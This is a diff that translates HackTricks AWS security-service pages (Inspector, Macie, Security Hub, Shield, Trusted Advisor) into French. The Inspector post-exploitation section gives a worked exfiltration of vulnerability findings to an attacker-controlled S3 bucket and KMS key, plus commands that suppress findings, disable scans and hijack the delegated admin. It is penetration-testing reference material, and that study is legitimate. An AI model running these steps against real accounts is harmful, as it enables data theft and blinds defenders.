+- **Scan de code Lambda** : Analyse le code d'application personnalisé à la recherche de problèmes de sécurité, détectant des vulnérabilités telles que des failles d'injection, des fuites de données, une cryptographie faible et un chiffrement manquant. Il capture des extraits de code mettant en évidence les vulnérabilités détectées, telles que des identifiants codés en dur. Les résultats incluent des suggestions de remédiation détaillées et des extraits de code pour corriger les problèmes.
 
 #### **Center for Internet Security (CIS) scans**
 
-Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines.
+Amazon Inspector inclut des scans CIS pour évaluer les systèmes d'exploitation des instances Amazon EC2 par rapport aux recommandations des meilleures pratiques du Center for Internet Security (CIS). Ces scans garantissent que les configurations respectent les normes de sécurité de l'industrie.
 
-- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title.
-- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules.
-- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance.
+- **Configuration** : Les scans CIS évaluent si les configurations système répondent à des recommandations spécifiques du CIS Benchmark, chaque vérification étant liée à un ID de vérification et un titre CIS.
+- **Exécution** : Les scans sont effectués ou programmés en fonction des balises d'instance et des horaires définis.
+- **Résultats** : Les résultats post-scan indiquent quelles vérifications ont réussi, été ignorées ou échouées, fournissant un aperçu de la posture de sécurité de chaque instance.
 
 ### Enumeration
-
 ```bash
 # Administrator and member accounts #
 
@@ -111,7 +110,7 @@ aws inspector2 list-findings
 aws inspector2 batch-get-finding-details --finding-arns <value>
 ## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
 aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
- | ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
+| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
 ## Retrieve code snippet information about one or more specified code vulnerability findings
 aws inspector2 batch-get-code-snippet --finding-arns <value>
 ## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
@@ -183,113 +182,99 @@ aws inspector list-exclusions --assessment-run-arn <arn>
 ## Rule packages
 aws inspector list-rules-packages
 ```
-
 ### Post Exploitation
 
 > [!TIP]
-> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers.
+> Du point de vue d'un attaquant, ce service peut aider l'attaquant à trouver des vulnérabilités et des expositions réseau qui pourraient l'aider à compromettre d'autres instances/conteneurs.
 >
-> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones).
+> Cependant, un attaquant pourrait également être intéressé à perturber ce service afin que la victime ne puisse pas voir les vulnérabilités (toutes ou spécifiques).
 
 #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
 
-An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks.
-
+Un attaquant pourrait générer des rapports détaillés sur les vulnérabilités ou les factures de matériaux logiciels (SBOM) et les exfiltrer de votre environnement AWS. Ces informations pourraient être exploitées pour identifier des faiblesses spécifiques, des logiciels obsolètes ou des dépendances non sécurisées, permettant des attaques ciblées.
 ```bash
 # Findings report
 aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
 # SBOM report
 aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
 ```
-
-The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key:
-
-1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector:
-
+1. **Créer un Amazon S3 Bucket** et attacher une politique à celui-ci afin qu'il soit accessible depuis le victim Amazon Inspector :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Sid": "allow-inspector",
-      "Effect": "Allow",
-      "Principal": {
-        "Service": "inspector2.amazonaws.com"
-      },
-      "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"],
-      "Resource": "arn:aws:s3:::inspector-findings/*",
-      "Condition": {
-        "StringEquals": {
-          "aws:SourceAccount": "<victim-account-id>"
-        },
-        "ArnLike": {
-          "aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
-        }
-      }
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "allow-inspector",
+"Effect": "Allow",
+"Principal": {
+"Service": "inspector2.amazonaws.com"
+},
+"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"],
+"Resource": "arn:aws:s3:::inspector-findings/*",
+"Condition": {
+"StringEquals": {
+"aws:SourceAccount": "<victim-account-id>"
+},
+"ArnLike": {
+"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
+}
+}
+}
+]
 }
 ```
-
-2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victim’s Amazon Inspector:
-
+2. **Créer une clé Amazon KMS** et attacher une politique à celle-ci afin qu'elle soit utilisable par l'Amazon Inspector de la victime :
 ```json
 {
-    "Version": "2012-10-17",
-    "Id": "key-policy",
-    "Statement": [
-        {
-	    ...
-        },
-        {
-            "Sid": "Allow victim Amazon Inspector to use the key",
-            "Effect": "Allow",
-            "Principal": {
-                "Service": "inspector2.amazonaws.com"
-            },
-            "Action": [
-                "kms:Encrypt",
-                "kms:Decrypt",
-                "kms:ReEncrypt*",
-                "kms:GenerateDataKey*",
-                "kms:DescribeKey"
-            ],
-            "Resource": "*",
-            "Condition": {
-                "StringEquals": {
-                    "aws:SourceAccount": "<victim-account-id>"
-                }
-            }
-        }
-    ]
+"Version": "2012-10-17",
+"Id": "key-policy",
+"Statement": [
+{
+...
+},
+{
+"Sid": "Allow victim Amazon Inspector to use the key",
+"Effect": "Allow",
+"Principal": {
+"Service": "inspector2.amazonaws.com"
+},
+"Action": [
+"kms:Encrypt",
+"kms:Decrypt",
+"kms:ReEncrypt*",
+"kms:GenerateDataKey*",
+"kms:DescribeKey"
+],
+"Resource": "*",
+"Condition": {
+"StringEquals": {
+"aws:SourceAccount": "<victim-account-id>"
+}
+}
+}
+]
 }
 ```
-
-3. Execute the command to **create the findings report** exfiltrating it:
-
+3. Exécutez la commande pour **créer le rapport de résultats** en l'exfiltrant :
 ```bash
 aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
 ```
-
-- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses.
+- **Impact potentiel** : Génération et exfiltration de rapports détaillés sur les vulnérabilités et les logiciels, obtenant des informations sur des vulnérabilités spécifiques et des faiblesses de sécurité.
 
 #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`
 
-An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues.
-
+Un attaquant pourrait annuler la génération du rapport de constatations spécifié ou du rapport SBOM, empêchant les équipes de sécurité de recevoir des informations en temps utile sur les vulnérabilités et les factures de matériaux logiciels (SBOM), retardant la détection et la remédiation des problèmes de sécurité.
 ```bash
 # Cancel findings report generation
 aws inspector2 cancel-findings-report --report-id <value>
 # Cancel SBOM report generatiom
 aws inspector2 cancel-sbom-export --report-id <value>
 ```
-
-- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues.
+- **Impact potentiel** : Perturbation de la surveillance de la sécurité et prévention de la détection et de la remédiation en temps opportun des problèmes de sécurité.
 
 #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
 
-An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response.
-
+Un attaquant disposant de ces autorisations pourrait manipuler les règles de filtrage qui déterminent quelles vulnérabilités et problèmes de sécurité sont signalés ou supprimés (si l'**action** est définie sur SUPPRESS, une règle de suppression serait créée). Cela pourrait cacher des vulnérabilités critiques aux administrateurs de la sécurité, facilitant l'exploitation de ces faiblesses sans détection. En modifiant ou en supprimant des filtres importants, un attaquant pourrait également créer du bruit en inondant le système de résultats non pertinents, entravant ainsi la surveillance et la réponse efficaces à la sécurité.
 ```bash
 # Create
 aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
@@ -298,93 +283,78 @@ aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [
 # Delete
 aws inspector2 delete-filter --arn <value>
 ```
-
-- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings.
+- **Impact potentiel** : Dissimulation ou suppression de vulnérabilités critiques, ou inondation du système avec des résultats non pertinents.
 
 #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`)
 
-An attacker could significantly disrupt the security management structure.
+Un attaquant pourrait perturber de manière significative la structure de gestion de la sécurité.
 
-- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports.
-- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities.
+- En désactivant le compte administrateur délégué, l'attaquant pourrait empêcher l'équipe de sécurité d'accéder et de gérer les paramètres et rapports d'Amazon Inspector.
+- L'activation d'un compte administrateur non autorisé permettrait à un attaquant de contrôler les configurations de sécurité, potentiellement en désactivant les analyses ou en modifiant les paramètres pour dissimuler des activités malveillantes.
 
 > [!WARNING]
-> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator.
+> Il est nécessaire que le compte non autorisé soit dans la même Organisation que la victime pour devenir l'administrateur délégué.
 >
-> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
-
+> Pour que le compte non autorisé devienne l'administrateur délégué, il est également nécessaire qu'après la désactivation de l'administrateur délégué légitime, et avant que le compte non autorisé ne soit activé en tant qu'administrateur délégué, l'administrateur légitime doit être désenregistré en tant qu'administrateur délégué de l'organisation. Cela peut être fait avec la commande suivante (**`organizations:DeregisterDelegatedAdministrator`** permission requise) : **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
 ```bash
 # Disable
 aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
 # Enable
 aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
 ```
-
-- **Potential Impact**: Disruption of the security management.
+- **Impact potentiel** : Perturbation de la gestion de la sécurité.
 
 #### `inspector2:AssociateMember`, `inspector2:DisassociateMember`
 
-An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection.
+Un attaquant pourrait manipuler l'association des comptes membres au sein d'une organisation Amazon Inspector. En associant des comptes non autorisés ou en désassociant des comptes légitimes, un attaquant pourrait contrôler quels comptes sont inclus dans les analyses de sécurité et les rapports. Cela pourrait entraîner l'exclusion de comptes critiques de la surveillance de la sécurité, permettant à l'attaquant d'exploiter des vulnérabilités dans ces comptes sans détection.
 
 > [!WARNING]
-> This action requires to be performed by the delegated administrator.
-
+> Cette action doit être effectuée par l'administrateur délégué.
 ```bash
 # Associate
 aws inspector2 associate-member --account-id <value>
 # Disassociate
 aws inspector2 disassociate-member --account-id <value>
 ```
-
-- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities.
+- **Impact potentiel** : Exclusion de comptes clés des analyses de sécurité, permettant l'exploitation non détectée des vulnérabilités.
 
 #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)
 
-An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations.
+Un attaquant avec la permission `inspector2:Disable` serait capable de désactiver les analyses de sécurité sur des types de ressources spécifiques (EC2, ECR, Lambda, code Lambda) sur les comptes spécifiés, laissant des parties de l'environnement AWS non surveillées et vulnérables aux attaques. De plus, grâce aux permissions **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, un attaquant pourrait alors réactiver les analyses de manière sélective pour éviter la détection de configurations suspectes.
 
 > [!WARNING]
-> This action requires to be performed by the delegated administrator.
-
+> Cette action doit être effectuée par l'administrateur délégué.
 ```bash
 # Disable
 aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
 # Enable
 aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
 ```
-
-- **Potential Impact**: Creation of blind spots in the security monitoring.
+- **Impact potentiel** : Création de zones d'ombre dans la surveillance de la sécurité.
 
 #### `inspector2:UpdateOrganizationConfiguration`
 
-An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts.
+Un attaquant disposant de cette autorisation pourrait mettre à jour les configurations de votre organisation Amazon Inspector, affectant les fonctionnalités de scan par défaut activées pour les nouveaux comptes membres.
 
 > [!WARNING]
-> This action requires to be performed by the delegated administrator.
-
+> Cette action doit être effectuée par l'administrateur délégué.
 ```bash
 aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
 ```
-
-- **Potential Impact**: Alter security scan policies and configurations for the organization.
+- **Impact potentiel** : Modifier les politiques et configurations de scan de sécurité pour l'organisation.
 
 #### `inspector2:TagResource`, `inspector2:UntagResource`
 
-An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity.
-
+Un attaquant pourrait manipuler les balises sur les ressources AWS Inspector, qui sont essentielles pour organiser, suivre et automatiser les évaluations de sécurité. En modifiant ou en supprimant des balises, un attaquant pourrait potentiellement cacher des vulnérabilités des scans de sécurité, perturber les rapports de conformité et interférer avec les processus de remédiation automatisés, entraînant des problèmes de sécurité non contrôlés et une intégrité du système compromise.
 ```bash
 aws inspector2 tag-resource --resource-arn <value> --tags <value>
 aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
 ```
+- **Impact potentiel** : Masquage des vulnérabilités, perturbation des rapports de conformité, perturbation de l'automatisation de la sécurité et perturbation de l'allocation des coûts.
 
-- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation.
-
-## References
+## Références
 
 - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html)
 - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
index e6e3a2281..8a9690ca1 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
@@ -6,70 +6,69 @@
 
 ## Macie
 
-Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns.
+Amazon Macie se distingue comme un service conçu pour **détecter, classer et identifier automatiquement les données** au sein d'un compte AWS. Il utilise **l'apprentissage automatique** pour surveiller et analyser en continu les données, se concentrant principalement sur la détection et l'alerte contre des activités inhabituelles ou suspectes en examinant les **données des événements CloudTrail** et les modèles de comportement des utilisateurs.
 
-Key Features of Amazon Macie:
+Caractéristiques clés d'Amazon Macie :
 
-1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account.
-2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks.
-3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time.
-4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings.
-5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks.
+1. **Revue active des données** : Utilise l'apprentissage automatique pour examiner activement les données à mesure que diverses actions se produisent au sein du compte AWS.
+2. **Détection d'anomalies** : Identifie les activités ou les modèles d'accès irréguliers, générant des alertes pour atténuer les risques potentiels d'exposition des données.
+3. **Surveillance continue** : Surveille et détecte automatiquement les nouvelles données dans Amazon S3, utilisant l'apprentissage automatique et l'intelligence artificielle pour s'adapter aux modèles d'accès aux données au fil du temps.
+4. **Classification des données avec le NLP** : Utilise le traitement du langage naturel (NLP) pour classer et interpréter différents types de données, attribuant des scores de risque pour prioriser les résultats.
+5. **Surveillance de la sécurité** : Identifie les données sensibles à la sécurité, y compris les clés API, les clés secrètes et les informations personnelles, aidant à prévenir les fuites de données.
 
-Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality.
+Amazon Macie est un **service régional** et nécessite le rôle IAM 'AWSMacieServiceCustomerSetupRole' et un AWS CloudTrail activé pour fonctionner.
 
-### Alert System
+### Système d'alerte
 
-Macie categorizes alerts into predefined categories like:
+Macie catégorise les alertes en catégories prédéfinies telles que :
 
-- Anonymized access
-- Data compliance
-- Credential Loss
-- Privilege escalation
+- Accès anonymisé
+- Conformité des données
+- Perte d'identifiants
+- Escalade de privilèges
 - Ransomware
-- Suspicious access, etc.
+- Accès suspect, etc.
 
-These alerts provide detailed descriptions and result breakdowns for effective response and resolution.
+Ces alertes fournissent des descriptions détaillées et des analyses des résultats pour une réponse et une résolution efficaces.
 
-### Dashboard Features
+### Fonctionnalités du tableau de bord
 
-The dashboard categorizes data into various sections, including:
+Le tableau de bord catégorise les données en différentes sections, y compris :
 
-- S3 Objects (by time range, ACL, PII)
-- High-risk CloudTrail events/users
-- Activity Locations
-- CloudTrail user identity types, and more.
+- Objets S3 (par plage de temps, ACL, PII)
+- Événements/utilisateurs CloudTrail à haut risque
+- Lieux d'activité
+- Types d'identité des utilisateurs CloudTrail, et plus encore.
 
-### User Categorization
+### Catégorisation des utilisateurs
 
-Users are classified into tiers based on the risk level of their API calls:
+Les utilisateurs sont classés en niveaux en fonction du niveau de risque de leurs appels API :
 
-- **Platinum**: High-risk API calls, often with admin privileges.
-- **Gold**: Infrastructure-related API calls.
-- **Silver**: Medium-risk API calls.
-- **Bronze**: Low-risk API calls.
+- **Platine** : Appels API à haut risque, souvent avec des privilèges d'administrateur.
+- **Or** : Appels API liés à l'infrastructure.
+- **Argent** : Appels API à risque moyen.
+- **Bronze** : Appels API à faible risque.
 
-### Identity Types
+### Types d'identité
 
-Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests.
+Les types d'identité incluent Root, utilisateur IAM, rôle assumé, utilisateur fédéré, compte AWS et service AWS, indiquant la source des demandes.
 
-### Data Classification
+### Classification des données
 
-Data classification encompasses:
+La classification des données englobe :
 
-- Content-Type: Based on detected content type.
-- File Extension: Based on file extension.
-- Theme: Categorized by keywords within files.
-- Regex: Categorized based on specific regex patterns.
+- Type de contenu : Basé sur le type de contenu détecté.
+- Extension de fichier : Basé sur l'extension de fichier.
+- Thème : Catégorisé par des mots-clés dans les fichiers.
+- Regex : Catégorisé en fonction de modèles regex spécifiques.
 
-The highest risk among these categories determines the file's final risk level.
+Le risque le plus élevé parmi ces catégories détermine le niveau de risque final du fichier.
 
-### Research and Analysis
+### Recherche et analyse
 
-Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring.
-
-### Enumeration
+La fonction de recherche d'Amazon Macie permet des requêtes personnalisées sur toutes les données Macie pour une analyse approfondie. Les filtres incluent les données CloudTrail, les propriétés des buckets S3 et les objets S3. De plus, elle prend en charge l'invitation d'autres comptes à partager Amazon Macie, facilitant la gestion collaborative des données et la surveillance de la sécurité.
 
+### Énumération
 ```
 # Get buckets
 aws macie2 describe-buckets
@@ -102,12 +101,11 @@ aws macie2 list-classification-jobs
 aws macie2 list-classification-scopes
 aws macie2 list-custom-data-identifiers
 ```
-
 #### Post Exploitation
 
 > [!TIP]
-> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\
-> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier.
+> Du point de vue d'un attaquant, ce service n'est pas conçu pour détecter l'attaquant, mais pour détecter des informations sensibles dans les fichiers stockés. Par conséquent, ce service pourrait **aider un attaquant à trouver des informations sensibles** à l'intérieur des buckets.\
+> Cependant, un attaquant pourrait également être intéressé à le perturber afin d'empêcher la victime de recevoir des alertes et de voler ces informations plus facilement.
 
 TODO: PRs are welcome!
 
@@ -116,7 +114,3 @@ TODO: PRs are welcome!
 - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
index 36dc8fbe9..21f7d6a28 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
@@ -4,24 +4,23 @@
 
 ## Security Hub
 
-**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues.
+**Security Hub** collecte des **données** de sécurité provenant de **comptes AWS**, de services et de produits partenaires tiers pris en charge et vous aide à **analyser votre sécurité** et à identifier les problèmes de sécurité les plus prioritaires.
 
-It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts
+Il **centralise les alertes liées à la sécurité à travers les comptes**, et fournit une interface utilisateur pour les visualiser. La plus grande limitation est qu'il **ne centralise pas les alertes à travers les régions**, seulement à travers les comptes.
 
-**Characteristics**
+**Caractéristiques**
 
-- Regional (findings don't cross regions)
-- Multi-account support
-- Findings from:
-  - Guard Duty
-  - Config
-  - Inspector
-  - Macie
-  - third party
-  - self-generated against CIS standards
+- Régional (les résultats ne traversent pas les régions)
+- Support multi-comptes
+- Résultats provenant de :
+- Guard Duty
+- Config
+- Inspector
+- Macie
+- tiers
+- auto-générés selon les normes CIS
 
 ## Enumeration
-
 ```
 # Get basic info
 aws securityhub describe-hub
@@ -50,18 +49,13 @@ aws securityhub list-automation-rules
 aws securityhub list-members
 aws securityhub get-members --account-ids <acc-id>
 ```
+## Contournement de la Détection
 
-## Bypass Detection
+TODO, PRs acceptées
 
-TODO, PRs accepted
-
-## References
+## Références
 
 - [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info)
 - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
index b1df3003b..6524d0160 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
@@ -4,16 +4,12 @@
 
 ## Shield
 
-AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS.
+AWS Shield a été conçu pour aider à **protéger votre infrastructure contre les attaques par déni de service distribué**, communément appelées DDoS.
 
-**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53.
+**AWS Shield Standard** est **gratuit** pour tout le monde, et il offre une **protection DDoS** contre certains des attaques de couche trois, la **couche réseau**, et de couche quatre, **couche de transport**, DDoS les plus courantes. Cette protection est intégrée à la fois avec CloudFront et Route 53.
 
-**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**.
+**AWS Shield Advanced** offre un **niveau de protection supérieur** pour les attaques DDoS sur un plus large éventail de services AWS moyennant un coût supplémentaire. Ce niveau avancé offre une protection contre vos applications web fonctionnant sur EC2, CloudFront, ELB et également Route 53. En plus de ces types de ressources supplémentaires protégées, des niveaux améliorés de protection DDoS sont offerts par rapport à ceux de Standard. Et vous aurez également **accès à une équipe de réponse DDoS spécialisée disponible 24 heures sur 24 et 7 jours sur 7 chez AWS, connue sous le nom de DRT**.
 
-Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.**
+Alors que la version Standard de Shield offrait une protection contre la couche trois et la couche quatre, **Advanced offre également une protection contre les attaques de couche sept, application.**
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
index a975d7476..f0feb8507 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
@@ -6,70 +6,66 @@
 
 ## AWS Trusted Advisor Overview
 
-Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories:
+Trusted Advisor est un service qui **fournit des recommandations** pour optimiser votre compte AWS, en s'alignant sur les **meilleures pratiques AWS**. C'est un service qui fonctionne dans plusieurs régions. Trusted Advisor offre des informations dans quatre catégories principales :
 
-1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses.
-2. **Performance:** Identifies potential performance bottlenecks.
-3. **Security:** Scans for vulnerabilities or weak security configurations.
-4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance.
+1. **Optimisation des coûts :** Suggère comment restructurer les ressources pour réduire les dépenses.
+2. **Performance :** Identifie les goulets d'étranglement potentiels en matière de performance.
+3. **Sécurité :** Scanne les vulnérabilités ou les configurations de sécurité faibles.
+4. **Tolérance aux pannes :** Recommande des pratiques pour améliorer la résilience et la tolérance aux pannes des services.
 
-The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security.
+Les fonctionnalités complètes de Trusted Advisor sont exclusivement accessibles avec des **plans de support AWS business ou enterprise**. Sans ces plans, l'accès est limité à **six vérifications de base**, principalement axées sur la performance et la sécurité.
 
-### Notifications and Data Refresh
+### Notifications et actualisation des données
 
-- Trusted Advisor can issue alerts.
-- Items can be excluded from its checks.
-- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh.
+- Trusted Advisor peut émettre des alertes.
+- Des éléments peuvent être exclus de ses vérifications.
+- Les données sont actualisées toutes les 24 heures. Cependant, une actualisation manuelle est possible 5 minutes après la dernière actualisation.
 
-### **Checks Breakdown**
+### **Répartition des vérifications**
 
-#### CategoriesCore
